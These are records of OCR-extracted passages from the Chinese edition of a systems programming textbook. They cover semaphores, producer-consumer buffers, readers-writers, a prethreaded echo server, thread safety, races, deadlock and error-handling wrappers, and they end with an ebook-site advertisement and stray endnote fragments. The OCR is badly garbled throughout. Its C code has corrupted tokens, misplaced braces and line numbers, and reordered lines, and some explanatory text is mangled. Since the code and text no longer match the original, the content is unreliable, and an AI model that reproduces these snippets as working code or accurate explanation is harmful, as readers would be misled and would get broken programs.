    {"text": "总的来说，为了用信号量正确同步图12-16中的计数器程序示例，我们首先声明一个信号量 mutex ： volatile int cnt = 0; /* Coimter */ sem_t mutex; / 氺 Semaphore that protects counter */ 然房在主例程中将mutex初始化为1 ： Sem_init (&mutex, 0, 1) ; /* mutex = '1 */ 最后，我们通过在线程例程中对共享变量crit的更新包围P和K操作，从而保护了它们： for (i = 0; i < niters; i++) { P(&mutex); cnt++; VC&mutex); > 当我们运行正确同步了的程序时，现在它每次都能产生正确的结果了。"},
    {"text": "linux> ,/goodcnt 1000000 OK cnt=2000000 linux> ,/goodcnt 1000000 OK cnt=2000000 进度图的局限性 进度图给了我们一种较好的方法，将在单处理器上的并发程序执行可视化，也帮助我们理 解为什么需要同步。"},
    {"text": "如果缓冲区是满的（没有空的槽 位)，那么生产者必须等待直到有一个槽位变为可用。 与之相似，如果缓冲区是空的（没有可取 用的项目），那么消费者必须等待直到有一个项目变为可用。"},
    {"text": "code/conc/sbuf.h 1 typedef struct { 2 int *buf; /* 3 int n; /* A int front; h 5 int rear; /* 6 sem_t mutex; /* 7 sem 一 t slots; /* 8 sem_t items; /* code/conc/sbuf.h 图 12-24 sbuf t ： SBUF 包使用的有限缓冲区 图12-25给出了 SBUF函数的实现。"},
    {"text": "code/conc/sbuf. c\n#include #include 'csapp.h\" 'sbuf.h\"\n/* Create an empty, bounded, shared FIFO buffer with n slots */ void sbuf_init(sbuf*sp, int n)\n/* /* h /* /* sp->buf = Calloc(n, sizeof(int)) sp_>n = n; sp->front = sp->rear = 0; Sem一init (&sp->nurtex, 0,: Sem^init(&sp->slots, 0, n) Sem_init(&sp->items, 0,( Buffer holds max of n items */ Empty buffer iff front == rear */ Binary semaphore for locking 氺/ Initially, buf has n empty slots */ Initially, buf has zero data items */\nA /* Glean up buffer sp +/ 图 12-25 SBUF ：同步对有限缓冲区并发访问的包 www.TopSage.com\n16 17 18 19 21 22 23 2A 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 P(&sp->slots); P(&sp->mutex); sp->buf[(++sp->rear)%(sp->n)] V(&sp->mutex); V(&sp->items); /* Wait for available item /* Lock the buffer */ /* Remove the item 木 / /* Unlock the buffer */ /* Announce. available slot */ int item; P(&sp->items); P(&sp->mutex); item = sp->buf[(++sp->front)%(sp->n)]; V(&sp->mutex); V(&sp->slots); return item; /* Wait for available slot */ /* Lock the buffer 木 / item; /* Insert the item */ Unlock the buffer */ /本 Announce availa.ble item */ /* Remove and return the first item from buffer sp */ int sbuf_remove(sbuf_t *sp) /* Insert item onto the rear of shared buffer sp */ void sbuf.insert(sbuf_t *sp, int item) void sbuf_deinit(sbuf_t *sp) Free(sp->buf); >\n_ code/conc/sbuf.c 图 12-25 (续） fi练习题12.9设p表示生产者数量，c表示消费者数量，而”表示以项目单元为单位的缓冲区大小。"},
    {"text": "再来看另外 一个例子，在一个多线程缓存Web代理中，无限多个线程可以从共享页面缓存中取出已有的页 面，但是任何向缓存中写入一个新页面的线程必须拥有独占的访问。"},
    {"text": "当一个读者进入和离开临界区时，如果还有其他读者在临界;区 中，那么这个读者会忽略互斥锁w。 这就意味着只要还有一个读者占用互斥锁w,无限多数量的 读者可以没有障碍地进入临界区。"},
    {"text": "®练习题12_10如图12-26所示的对第一类读者-写者问题的解答给予读者较高的优先级，但是从某 种意义上说，这种优先级是很弱的，因为一个离开临界区的写者可能重启一个在等待的写者，而不是 一个在等待的读者。"},
    {"text": "/* Global variables */ int readcnt; /* Initially - 0 */ sem_t mutex, w; /* Both initially = 1 */ void reader(void) { while (1) { P(&mutex); readcnt++; if (readcnt == 1) /* First in */ P(&w); V(&mutex); /* Critical section */ /* Reading happens */ P(&mutex); readcnt--; if (readcnt == 0) /* Last out */ V(&w); V(&mutex); } > void writer(void) -C while (1) -C P(&w); /* Critical section */ /* Writing happens */ V(&w); } >\n图12-26对第一类读者-写者问题的解答。"},
    {"text": "12.5.5综合：基于预线程化的并发服务器 我们已经知道了如何使用信号量来访问共享变量和调度对共享资源的访问。 为了帮助你更清 晰地理解这些思想，让我们把它们应用到一个基于称为预线程化（prethreading)技术的并发服 务器上。"},
    {"text": "主线程不断地接受来自客户端的连接请求，并将得到的连接描述符放在 一个有限缓冲区中。 每一个工作者线程反复地从共享缓冲区中取出描述符，为客户端服务，然后 等待下一个描述符。"},
    {"text": "code/conc/echoservert_pre.c ] #include \"csapp.h\" #include \"sbuf.h\" #define NTHREADS 4 #define SBUFSIZE 16 5 void echo_cnt(int connfd); void *thread(void *vargp); 8 sbuf_t sbuf ;卜 Shared buffer of connected descriptors */ • int main(int argc, char **argv) { , int i, listenfd, connfd, port; socklen_t clientlen^sizeof(struct sockaddr_in); struct sockaddr_in clientaddr; pthread_t tid; 图12-28 —个预线程化的并发echo服务器。 这个服务器使用的是有一个生产者和多个消费者的生产 者-消费者模型\n17 if (argc != 2) ■[ fprintf(stderr, \"usage: %s <port>\\n\", argv[0]); exit(0); > port = atoi(argv[1]); sbuf^init(&sbuf, SBUFSIZE); listenfd = Open_listenfd(port); 25 for (i = 0; i < NTHREADS ; i++) /* Create worker threads */ Pthread.create(fetid, NULL, thread, NULL); • while (1) -C connfd = Accept(listenfd, (SA *) &clientaddr, ftclientlen); sbuf_insert(&sbuf, Connfd); /* Insert connfd in buffer */ > > 34 void *thread(void *vargp) -[ 17 Pthread_detach(pthread_self ()); while (1) ■[ int connfd = sbuf_remove(&sbuf); /* Remove connfd from buffer */ echo_cnt(connfd); /* Service client */ Close(connfd); > > code/conc/echoservert_pre.c 图 12-28 (续） 如图12-29所示的函数echo—cnt是图11-21中的echo函数的一个版本，它在全局变量 byte一cut中记录了从所有客户接收到的累计字节数。"},
    {"text": "■ code/conc/echojcnt. c #include \"csapp.h\" • static int byte_cnt; /* Byte coxinter */ static sem_t mutex; /* and the mutex that protects it */ . static void init_echo_cnt(void) { Sem_init(ftmutex, 0, 1); byte_cnt = 0; 10 } ri . void echo_cnt(int connfd) char buf[MAXLINE]; rio_t rio; static pthread_once_t once = PTHREAD_ONCE_INIT; Pthread_once(&once , init_echo_cnt); 20 21 22 23 24 25 Rio_readinitb(&rio , connfd); while ( (n = Rio_readlineb (&rio, buf, MAXLINE)) != 0) •[ P(&mutex); byte_cnt += n; printf(\"thread %d received %d (%d total) bytes on fd %d\\n\" , (int) pthread_self(), n, byte_cnt, connfd); V(femutex); 27 29 Rio_writen(connfd, buf, n); > ；"},
    {"text": "code/conc/echo 一 cnt,c 图 12-29 (续） 一旦程序包被初始化，echo 一 cnt函数会初始化RIO带缓冲区的I/O包（第20行)，然后 回送从客户端接收到的每一个文^行。"},
    {"text": "主线程有两种状态（“等待连接请求”和“等待可用的缓冲区槽位”)、两个I/O事件（“连接 请求到达”和“缓冲区槽位变为可用”）和两个转换（“接受连接请求”和“插入缓冲区项目”)。 类似地，每个工作者线程有一个状态（“等待可用的缓冲项目”)、一个I/O事件（“缓冲区项目变 为可用”）和一个转换（“取出缓冲区项目”)。"},
    {"text": "在像繁忙的Web服务器、 数据库服务器和大型科学计算代码这样的应用中利用这种并行性是至关重要的，而且在像Web 浏览器、电子表格处理程序和文档处理程序这样的主流应用中，并行性也变得越来越有用。"},
    {"text": "当 然，对于这个特殊的问题 ， 有闭合形式表达式的解答（译者注：即有现成的公式来计算它，即和 等于-1)/2),但是尽管如此，它是一个简洁和易于理解的示例，能让我们对并行程序做一些 有趣的说明。"},
    {"text": "注意，主线程传递给 每个对等线程一个小整数，作为唯一的线程 ID 。 每个 对等线程会用它的线程 ID 来决定它应该计算序列的哪 一部分。 这个向对等线程传递一个小的唯一的线程 ID 的思想是一项通用技术，许多并行应用中都用到了它。"},
    {"text": "然后主线程对向量 psum 的元素求 和（第 35 〜 36 行 ) ，并且使用闭合形式解答来验证结图 12-30 顺序、并发和并行程序集合之间 果（第 39 〜 40 行）。"},
    {"text": "的关系 ： ： — code/conc/psum. c #include \"csapp.h\" #define MAXTHREADS 32 3 void *sum(void *vargp); 5 /* Global shared variables */ long psum[MAXTHREADS]; /* Partial sum computed by each thread */ long nelems_per_thread; /* Number of elements summed by each thread */ . int main(int argc, char **argv) { long i, nelems, log_nelems, nthreads, result = 0; pthread_t tid[MAXTHREADS]; int myid[MAXTHREADS]; 15 /* Get input arguments */ if (argc != 3) { printf(\"Usage: %s 〈nthreads〉 <log_nelems>\\n\", argv[0]); exit(0); } nthreads = atoi(argv[1]); log_nelems = atoi(argv[2]); nelems = (IL << log_nelems); nelems_per_thread = nelems / nthreads; . . 卜 Create peer threads and wait for them to finish */ for (i = 0; i < nthreads; i++) { myid [i] = i; Pthread_create(&tid[i], NULL, sum, &myid[i]); } for (i = 0; i < nthreads; i++) Pthread_join(tid[i], NULL); 33 /* Add up the partial suras computed by each thread */ for (i = 0; i < nthreads; i++) result += psum [i]; 34 35 36 37 38 39 40 /* Check final answer */ if (result != (nelems * (nelems-1))/2) printf(\"Error: result=%ld\\n\", result); 'exit(O); } code/conc/psum. c 图 12-31 (续） 图12-32给出了每个对等线程执行的函数。"},
    {"text": "code/conc/psum. c void *sum(void *vargp) int myid = *((int *)vargp); /* Extract the thread ID */ long start 二 myid * nelems_per_thread; /* Start element index */ long end = start + nelems_per_thread ; /* End element index 氺 / long i, sum = 0; for (i = start; i < end; i++) { sum += i; > psum[myid] = sum; 2 3 4 5 6 7 8 9 10 11 12 return NULL; > code/conc/psum. c 图12-32图12-31中程序的线程例程 图12-33给出了如图12-31所示程序的总的运行时间，它是一个线程个数的函数。"},
    {"text": "虽然绝对运行时间是衡量程序性能的终极标准，但是还是有一些有用的相对衡量标准，称 为加速比和效率，它们能够说明并行程序有多好地利用了潜在的并行性。"},
    {"text": "这个公式有时称为 强扩展 （strong scaling ) 0 当是程序顺序执行版本的执行 时间时 ， 义 称 为绝对加速比 （absolute speedup )。 当 是程序并行版本在一个核上的执行 时间时， \\称 为相对加速比 （relative speedup )。"},
    {"text": "即使是当并行程序在一个处理器上运行时，也常常 会受到同步开销的影响 , 而这些开销会人为地增加相对加速比的数值，因为它们使分子增大了。"},
    {"text": ") 1.56 0.81 0.40 0.40 0.45 加速比 iS p ) 1 1.9 3.9 3.9 3.5 效率（尽） 100% 95% 98% 98% 88% 面 12-34 图 12-33 中执行时间的加速比和并行效率 加速比还有另外一面，称为 弱扩展 (weak scaling), 在增加处理器数量的同时，增加问题的 规模，这样随着处理器数量的增加，每个处理器执行的工作量保持不变。"},
    {"text": "线程(/) 1 2 4 核（P) 1 2 4 运行时间（ip 12 8 6 加速比 (S ) 1.5 效率（V 100 % 50% 12.7 其他并发问题 你可能已经注意到了，一旦我们要求同步对共享数据的访问，那么事情就变得复杂得多了。"},
    {"text": "12.7.1线程安全 当用线程编写程序时，我们必须小心地编写那些具有称 为线程安全性 (thread safety)属性 的函数。 一个函数被称 为线程安全的 （thread-safe),当且仅当被多个并发线程反复地调用时，它 会一直产生正确的结果 。 如果 一个函数不是线程安 全的， 我们就说它是 线程不安全的 （thread- unsafe)。"},
    {"text": "code/conc/rand. c unsigned int. next = 1; ' /* rand - return pseudo-random integer on 0..32767 */ int rand(void) { next = next*1103515245 + 12345; return (unsigned int)(next/65536) % 32768; B > 9 ■10 /* sra.nd - set seed for randO */ void srand(unsigned int seed) { next = seed; } code/conc/rand. c 图12-35 —个线程不安全的伪随机数生成器[58] 第 3类： 返回指向静态变量的指针的函数。"},
    {"text": "如果线程不安全函数是难以修改或不可能修改的（例如 ， 代码非常复杂或是没有源代码可 用），那么另外一种选择就是使 用加锁 -拷贝（lock-and-copy)技术。"},
    {"text": "在每一个调用位置，对互斥锁加锁，调用线程不安全函数 ， 将函数返回 的结果拷贝到一个私有的存储器位置，然后对互斥锁解锁。 为了尽可能地减少对调用者的修改 , 你应该定义一个线程安全的包装函数，它执行加锁-拷贝，然后通过调用这个包装函数来取代 所有对线程不安全函数的调用。"},
    {"text": "如果g是第2类函数 ， 即依赖于跨越多次调用的状态，那么/也是线程不 安全的 ， 而且除了重写g以外，没有什么办法。 然而，如果g是第1类或者第3类函数 ， 那么只 要你用一个互斥锁保护调用位置和任何得到的共享数据，/仍然可能是线程安全的。 在图12-36 中我们看到了一个这种情况很好的示例，其中我们使用加锁-拷贝编写了一个线程安全函数， 它调用了一个线程不安全的函数。"},
    {"text": "' ; code/conc/ctime_ts. c char *ctime_ts(const time_t *timep, char *privatep) ..2 i char *sharedp; A P(femutex); sharedp = ctime(timep); strcpy(privatep, sharedp); /* Copy string from shared to private 氺/ V(femutex); return privatep; :10 } code/conc/ctime_ts. c 图12-36 C标准库函数ctime的的包装函数。"},
    {"text": "使用力口锁一拷贝技术调用一^第3类雛不安全函数 12.7.2 可重入性 图 12-37 可重入函数、线程安全函数和线 程不安全函数之间的集合关系 所有的函数 C. j .气:减稱全級 有一类重要的线程安全函数 ， 叫 做可重入函数 （reentrant fimction),其特点在于它们具有这 样一种属性：当它们被多个线程调用时，不会引用 任何共享数据。"},
    {"text": ": code/conc/rand_r. c /* rand„_r - a reentrant pseudo-random integer on 0. .32767 */ int rand^r (unsigned int *nextp) { A *nextp = *nextp * 1103515245 + 12345; return (unsigned int)C*nextp / 65536) % 32768; } — code/conc/rand—r.c 图 12-38 rand_r ： 图 12-35 中的 rand 函数的可重入版本 检查某个函数的代码并先验地断定它是可重入的 ， 这可能吗？"},
    {"text": "如 果所有的函数参数都是传值传递的（即没有指针)，并且所有的数据引用都是本地的自动栈变量 (即没有引用静态或全局变量 ）， 那么函数就是 显式可重入的 （explidtly reentrant),也就是说， 无论它是被如何调用的，我们都可以断言它是可重入的。 然而，如果把我们的假设放宽松一点，允许显式可重入函数中的一些参数是引甩传递的（即 我们允许它们传递指针），那么我们就得到了一个 隐式可重入的 （implicitly reentrant)函数，也 就是说 ， 如果调用线程小心地传递指向非共享数据的指针，那么它是可重入的。"},
    {"text": "在线程化的程序中使用已存在^!库函数 大多数Unix函数，包括定义在标准C库中的函数（例如malloc、free、realloc、 printf和scanf)都是线程安全的，只有一小部分是例外。"},
    {"text": "线程不安全函数 线程不安全类 Unix线程安全版本 rand 2 rand_r strtok 2 strtok_r asctime 3 asctime_r ctime 3 ctime_r gethostbyaddr 3 gethostbyaddr_r gethostbyname 3 gethostbyname_r inet_ntoa 3 (无） localtime 3 localtime_r 图12-39常见的线程不安全的库函数 除了 rand和strtok以外，所有这些线程不安全函数都是第3类的，它们返回一个指向静 态变量的指针。"},
    {"text": "12.7.4竞争 当一个程序的正确性依赖于一个线程要在另一个线程到达^点之前到达它的控制流中的 x点时，就会发 生竞争 （race)。 通常发生竞争是因为程序员假定线程将按照某种特殊的轨迹 线穿过执行状态空间，而忘记了另一条准则规定：线程化的程序必须对任何可行的轨迹线都 正确工作。"},
    {"text": "它看上去 足够简单，但是当在系统上运行这个程序时，我们得到以下不正确的结果： unix> ./race « Hello from thread 1 Hello from thread 3 Hello from thread 2 Hello from thread 3 问题是由每个对等线程和主线程之间的竞争引起的。"},
    {"text": "code/conc/race.c #include \"csapp.h\" #define N 4 void *thread(void *vargp); int mainO { pthread_t tid[N]; int i; for (i = 0; i < N; i++) Pthread_create(fetid[i], NULL, thread, &i); for (i = 0; i < N; i++) Ptliread_ j oin (tid [i] , NULL); exit(0); /* Thread routine */ void *thread(void *vargp) { int myid = *((int *)vargp); printf(\"Hello from thread %d\\n\", myid); return NULL; code/conc/race.c 图12-40 —个带竞争的程序 为了消除竞争，我们可以动态地为每个整数 ID 分配一个独立的块，并且传递给线程例程一 个指向这个块的指针，如图 12-41 所示（第 12 〜 14 行)。"},
    {"text": "当在系统上运行这个程序后，我们现在得到了正确的结果： unix> ./norace Hello from thread 0 Hello from thread 1 Hello from thread 2 Hello from thread 3 练习题 12.13在图 12.41 _ 我们可能想要在主线程中的第15行后立即释放已分配的存储器块，而 不是在对等线程中释放它。"},
    {"text": "code/conc/norace. c #include \"csapp.h\" #define N 4 void *thread(void *vargp); int mainO pthread一t tid[N]; int i , *ptr; for (i = 0; i < N; i++) { ptr = Malloc(sizeof(int)); *ptr = i; Pthread_create(fetid[i], NULL, thread, ptr); > for (i = 0; i < N; i++) Pthread_join(tid[i] , NULL); exit(0); > A Thread routine */ void *thread(void *vargp) { int myid = *((int *)vargp); Free(vargp); printf(\"Hello from thread %d\\n\" , myid); return NULL; > code/conc/norace. c 图 12-41 图 12-40 中程序的一个没有竞争的正确版本 12.7.5 死锁 信号量引入了一种潜在的令人厌恶的运行时错误 ， 叫做死锁 （deadlock),它指的是一组线 程被阻塞了，等待一个永远也不会为真的条件。"},
    {"text": "•重叠的禁止区域引起了一组称为死 锁区域 （deadlockregion)的状态。 如果一个轨迹线碰巧 到达了一个死锁区域中的状态，那么死锁就是不可避免的了。"},
    {"text": "然而，当使用二元信号量来实现互 斥时， 如图12-42所示，你可以应用下面的简单而有效的规则来避免死锁 ： 互斥锁加锁顺序规则： 如果对于程序中每对互斥锁 0, 每个同时占用 s 和/的 线程都按照相同的顺序对它们加锁，那么这个程序就是无死锁的。 例如，我们可以通过这样的方法来解决图12-42中的死锁问题：在每个线程中先对 *9 加锁 , 然后再对 / 加锁。"},
    {"text": "无死锁的轨迹 咋 ) Vit) P{s) 死锁状态 ? 的禁止区 初始 J=1 t=l Pit)' L 死锁区 k 有死锁的轨迹线 •.. P(s) ... p(t) • • • V(s) • • • m ®练习题 12.15 思考下面的程序，它试图使用一对信号量来实现互斥。"},
    {"text": "图 12-42 —个有死锁程序的进度图 线程2\n线程 1 ; 线程 2 ;\nNIy \\ly z-s \\ly s s t t /IV /l\\ ✓Ix rx p V p V \\J/ \\l/ NJy s s t t /IN /IX p V p V\n画出这个程序的进度图。"},
    {"text": "信号量操作可以用来提供对共享数据的互斥访问，也对 诸如生产者-消费者程序中有限缓冲区和读者一写者系统中的共享对象这样的资源访问进行调 度。"},
    {"text": "code/conc/hellobug. c 'i #include \"csapp.h\" void 18 thread(void *vaxgp); '3 int mainO i ： , .- pthread_t tid; 7 Pthread_create(fetid, NULL, thread, NULL); exit(0); /* Thread routine */ void *thread(void *vaxgp) { Sleep(1); printf(\"Hello, world!\\n\"); return NULL; = 12.18 *12.19 * 12.20 112.21 < 12.22 c 12.23\n*12.25在图12-28中的预钱程化的并发echo服务器中，每个线程都调用echo_cnt函数（见图12-29)。"},
    {"text": "12.26用加锁-拷贝技术来实现gethostbyname的一个线程安全而又不可重入的版本，称为 gethostbyname_tSo 一个正确的解答是使用由互斥锁保护的hostent结构的深层拷贝。"},
    {"text": "**12.27 —些网络编程的教科书建议用以下的方法来读和写套接字：和客户端交互之前，在同一个打开的巳 连接套接字描述符上，打开两个标准I/O流，一个用来读，一个用来写： FILE 19 fpin, *fpout; fpin = fdopen(sockfd, \"r\"); fpout = fdopen(sockfd, \"w\"); 当服务器完成和客户端的交互之后，像下面这样关闭两个流： fclose(fpin); fclose(fpout); 然而，如果你试图在基于线程的并发服务器上尝试这种方式，你将制造一个致命的竞争条件。"},
    {"text": "通过画出四种可能情况的进度 图来证明你的答案： 情况1 情况2 情况3 情况4 线程1 线程2 线程1 线程2 线程1 线程2 线程1 线程2 P(s) PCs) P(s) P(s) P(s) P(s) P(s) P(s) P(t) P(t) P(t) P(t) P(t) P(t) PCt) P(t) V(s) V(s) V(s) v(t) V(t) V(s) v(t) V(t) V(t) V(t) V(t) V(s) V(s) V(t) V(s) V(s)\nc b b C ✓IN /IN /!> a b b c c a p p V p V V\n线程3: P(a); P(c) P(c) P(b); P(b) V(c) V(b); V(b) P(b) P(c); V(c) P(a) V(c); P(a) V(a) V(a); V(a) V(b) 12.30考虑下面这个会死锁的程序。"},
    {"text": "实现标准I/O函数fgets的一个版本，叫做tfgets,假如它在5秒之内没有从标准输入上接收 到一个输入行 ， 那么就超时，并返回一个NULL指针。"},
    {"text": "= code/conc/tfgets-main. c #include \"csapp.h\" 2 char fgets(char *s, int size, FILE *stream); 4 int mainO { char buf[MAXLINE]; 8 if (tfgets(buf, MAXLINE, stdin) == NULL) printf(\"BOOM!\\n\")； else printf(\"%s\", buf); 13 exit(O); > code/conc/tfgets-main. c 图12-45家庭作业题12.31〜12.33的驱动程序 12.34 12.35 12.36 12.37 H 12.38 12.39 编写一个WXM矩阵乘法核心函数的并行线程化版本。"},
    {"text": "Web代理是一个在Web服务器和浏览器之间扮演中间角色的程序。 浏览器不是直接连接服务器以 获取网页，而是与代理连接，代理再将请求转发给服务器。 当服务器响应代理时 ， 代理将响应发送 给浏览器。"},
    {"text": "为了这个试验 ， 请你编写一个筒单的可以过滤和记录请求的Web代理： 在试验的第一部分中 ， 你要建立以接收请求的代理 ， 分析HTTP,转发请求给服务器，并且返回 结果给浏览器。"},
    {"text": "Ptr 是 是 是 cnt 否 是 是 i .m 是 否 否 msgs.m 是 是 是 myid.pO 否 是 否 myid.pl 否 否 是 说明： •ptr： 一个被主线程写和被对等线程读的全局变量。"},
    {"text": "H h L h U h S h H 2f L 2 , U 2i S 2 ， T 2i T x ：安全的 fh, [ 2 ， Hi’ Li, \" 1 ， T\\, \" 2 ’ » 丁 2 ：不安全的 Hi, \" 2 ’ L 2， \" 2 , [ 1 ，\" 1 ，*^ 1 ，『 1 ， ^2 ：安全的 练习题12.9 p=h c=h «>1:是，互斥锁是需要的，因为生产者和消费者会并发地访问缓冲区。 ^=l, c=l, «=1:不是，在这种情况中不需要互斥锁信号量，因为一个非空的缓冲区就等于满的缓 冲区。"},
    {"text": ") 12 8 6 加速比 CS P ) 1 1.5 2 效率（&) 100% 75% 50% 练习题 12.12 ctime_ts函数不是可重入函数，因为每次调用都共享相同的由gethostbyname函数返回 的static变量。"},
    {"text": "练习题12.13如果在第15行调用了 pthreacLcreate之后，我们立即释放块，那么我们将引入一个新 的竞争，这次竞争发生在主线程对free的调用和线程例程中第25行的赋值语句之间。"},
    {"text": "练习题12.14 A.另一种方法是直接传递整数i,而不是传递一个指向i的指针： for (i : 0; i < N; i++) Pthread_create(fetid[i], NULL, thread, (void *)i); 在线程例程中，我们将参数强制转换成一个int类型，并将它赋值给myid: int myid = (int) vargp; B.优点是它通过消除对malloc和free的调用降低了开销。"},
    {"text": "线程 2 •.. P(s) • •. V(s) ... P(t) . • • V(t) 图12-46 —个有死锁的程序进度图 线程 2 m W ■5 = 1 - 线程 1 P(s) • •. V(s) P(t) 图 12-47 改正后的无死锁的程序的进度图\n附录 A| Computer Systems : A Programmer' s Perspective, 2E 错误处理 程序员应该总是检查系统级函数返回的错误代码。"},
    {"text": "为了解决这些 问题，我们釆用了一种基于錯误处理包装函数（error-handle wrapper)的方法，这是由W.Richard Stevens在他的网络编程教材[109]中最先提出的。"},
    {"text": "包装函数被封装在一个源文件（csapp.c)中，这个文件被编译和链接到每个程序中。 一 个独立的头文件(csapp.h)中包含这些包装函数的函数原型。"},
    {"text": "A.1 Unix 系统中的错误处理 本书中我们遇到的系统级函数调用使用三种不同风格的返回错误：Unix风格的、Posix风格 的和DNS风格的。 Unix风格的错误处理 像fork和wait这样Unix早期开发出来的函数（以及一些较老的Posix函数）的函数返回 值既包括错误代码，也包括有用的结果。 例如，当Unix风格的wait函数遇到一个错误（例如 没有子进程要回收)，它就返回-1,并将全局变量errno设置为指明错误原因的错误代码。"},
    {"text": "Unix风格的错误处 理代码通常具有以下形式： if ((pid = wait(NULL)) < 0) { fprintf(stderr, \"wait error: %s\\n\", strerror(errno)); exit(0) ; } strerror函数返回某个errno值的文本描述。"},
    {"text": "例如，Posix风格的 P thread_ Cr eat e 函数用它的返回值来表明成功或者失败，而通过\n引用将新创建的线程的ID (有用的结果）返回放在它的第一个参数中。"},
    {"text": "Posix风格的错误处理代 码通常具有以下形式： if ((retcode = pthread_create(fetid, NULL, thread, NULL)) != 0) { fprintf(stderr, \"pthread_create error: %s\\n\", strerror(retcode)); exit(0); DNS风格的错误处理 gethostbyname和gethostbyaddr函数检索DNS (域名系统）主机条目，它们有另外 一种返回错误的方法。"},
    {"text": "DNS风 格的错误处理通常具有以下形式： if ((p = gethostbyname(name)) == NULL) { fprintf (stderr, \"gethostbyname error: °/ 0 s\\n:\", hstrerror(h_errno)); exit(0); 4.错误报告函数小结 贯穿本书，我们使用下列错误报告函数来包容不同的错误处理风格 #include \"csapp.h\" void unix_error(char 20 msg); void posix_error(int code, char *msg); void dns_error(char *msg); • void app_error(char *msg); 返回：无。 正如它们的名字表明的那样，unix_error、posix_error和dns一error函数报告Unix 风格的错误、Posix风格的错误和DNS风^的错误，然后终It。"},
    {"text": "exit(O); void app_error(char *msg) /* Application error */ { fprintf(stderr, \"%s\\n\", msg); exit(0) ; > code/src/csapp.c 图 A-l ( 续） code/src/csapp. c pid_t Wait(int *status) { pid_t pid; 4 if ((pid 二 wait(status)) < 0) nnix_error(\"Wait error\"); return pid; > code/src/csapp.c 图 A-2 Unix 风格的 wait 函数的包装函数 A.2 错误处理包装函数 下面是一些不同错误处理包装函数的示例： • Unix 风格的错误处理包装函数。"},
    {"text": "code/src/csapp. c void Kill(pid_t pid, int signum) { int rc; 4 if ((rc = kill(pid, signum)) < 0) unix_error(\"Kill error\"); } code/src/csapp.c 图 A-3 Unix 风格的 kill 函数的包装函数 Posix 风格的错误处理包装 函数。"},
    {"text": "— code/src/cscip p. c void Pthread_detach (pthread.t tid) { int rc; 3 if ((rc = pthread.detach(tid) ) != 0) posix_error(rc，\"Pthread_detacli error' 21 )；"},
    {"text": "code/src/csapp.c 2 . { 3 struct hostent *p; A 5 if ((p = gethostbyname(name)) == NULL) 6 dns_error C\"Gethostbyname error\"); 7 return p; B 1 : : ： code/src/csapp. c 图A-5 DNS风格的gethostbyname函数的包装函数 [79] D. Patterson, G. Gibson, and R. Katz. A case for r^l redundant arrays of inexpensive disks (RAID). In Proceedings of the 1998 ACM SIGMOD Conference. ACM, June 1988. [80] L. Peterson and B. Davie. Computer Networks: [ 93 ] A Systems Approach, Fourth Edition. Morgan Kaufmann, 2007. [81] J. Pincus and B. Baker. Beyond stack smashing: [ 94 ] Recent advances in exploiting buffer overruns. IEEE Security and Privacy, 2⑷:20~27，2004. [ 95 ] [82] S. Przybylski. Cache and Memory Hierarchy Design: A Performance-Directed Approach. Morgan Kaufmann, 1990. 本书仅供个人学习之用，请勿用于商业用途。"},
    {"text": "如果你不知道读什么书或者想获得更多免费电子书请加小编QQ：2338856113 小编也和结交一些喜欢读书的朋友 或者关注小编个人微信公众号名称：幸福的味道 获得上百个书单 为了方便书友朋友找书和看书，小编自己做了一个电子书下载网站，网址：http://www.ireadweek.com 如于某种原因，经常换网址 如果打不开，可以qq联系我\n描述 [ ←1 ] I I -I\n[ ←2 ] for (k = 0; k < n; k++) {\n[ ←3 ] code/link/p-exe. d\n[ ←4 ] 图7-12示例可执行文件p的段头部表 off ：文件偏移；"},
    {"text": "flags ：运行时许可 0\n[ ←5 ] code/ecf/waitpid2.c 图8-18使用waitpid按照创建子进程的顺序来回收这些僵死子进程\n[ ←6 ] code/ecf/signal4. c 图8-35 signal4 ：图8-32的一个版本，该版本通过使用Signal包装函数得到可移植的信号处理语义 并发编程是一个很深奥且很重要的问题，我们将在第12章中更详细地讨论。"},
    {"text": "不过，在本章 中学习到的有关异常控制流的知识，可以让你感觉一下与并发相关的有趣的智力挑战9例如，考 虑图8-36中的程序，它总结了一个典型的Unix外壳的结构。"},
    {"text": "如果子进程在父进程能够开始运行前就结束了，那么 add j ob和delete job会以错误的方式被调用 2 父进程执行fork函数，内核调度新创建的子进程运行，而不是父进程。"},
    {"text": "3 在父进程能够再次运行之前，子进程就终止，并且变成一个僵死进程，使得内核传递一 个SIGCHLD信号给父进程。 4 后来，当父进程再次变成可运行但又在它执行之前，内核注意到待处理的SIGCHLD信 号，并通过在父进程中运行处理程序接收这个信号。"},
    {"text": "5 处理程序回收终止的子进程，并调用deletejob，这个函数什么也不做，因为父进程 还没有把该子进程添加到列表中。 6 在处理程序运行完毕后，内核运行父进程，父进程从fork返回，通过调用addjob错 误地把（不存在的）子进程添加到作业列表中。 因此，对于父进程的main函数流和信号处理流的某些交错，可能会在addjob之前调用deletejob。"},
    {"text": "例如，如果在fork调用返回时，内核刚好调度父进程而不是 子进程运行，那么父进程就会正确地把子进程添加到作业列表中，然后子进程终止，信号处理函数把该作 业从列表中删除。"},
    {"text": "[ ←7 ] #include \"csapp.h\" 2 h SIGINT handler 氺 / A void handler(int sig) { return; /* Catch the signal and return */ > 8 unsigned int snooze(unsigned int secs) { unsigned int rc = sleep(secs); n printf (\"Slept for %u of %u secsAn\", secs - rc, secs); return rc; int main(int argc, char **argv) {\n[ ←8 ] code/vm/malloc/mm. c 图9-46 mm 一 free :释放一个块，并使用边界标记合并将其与所有的邻接空闲块在常数时间内合并 coalesce函数中的代码是图9-40中勾画的四种情况的一种简单直接的实现。"},
    {"text": "我们选择的空闲链表格式（它的序言块和结尾块总是标记为已分配）允许我们忽 略潜在的麻烦的边界情况，也就是，请求块bp在堆的起始处或者是在堆的结尾处。"},
    {"text": "在检查完请求的真假之后，分配器必须调整请求块的大小，从而为头部和脚部留有空间，并满足\n[ ←9 ] code/vm/mmapcopy. c\n[ ←10 ] 练习题 9.6这道题触及了一些核心的概念，例如对齐要求、最小块大小以及头部编码。"},
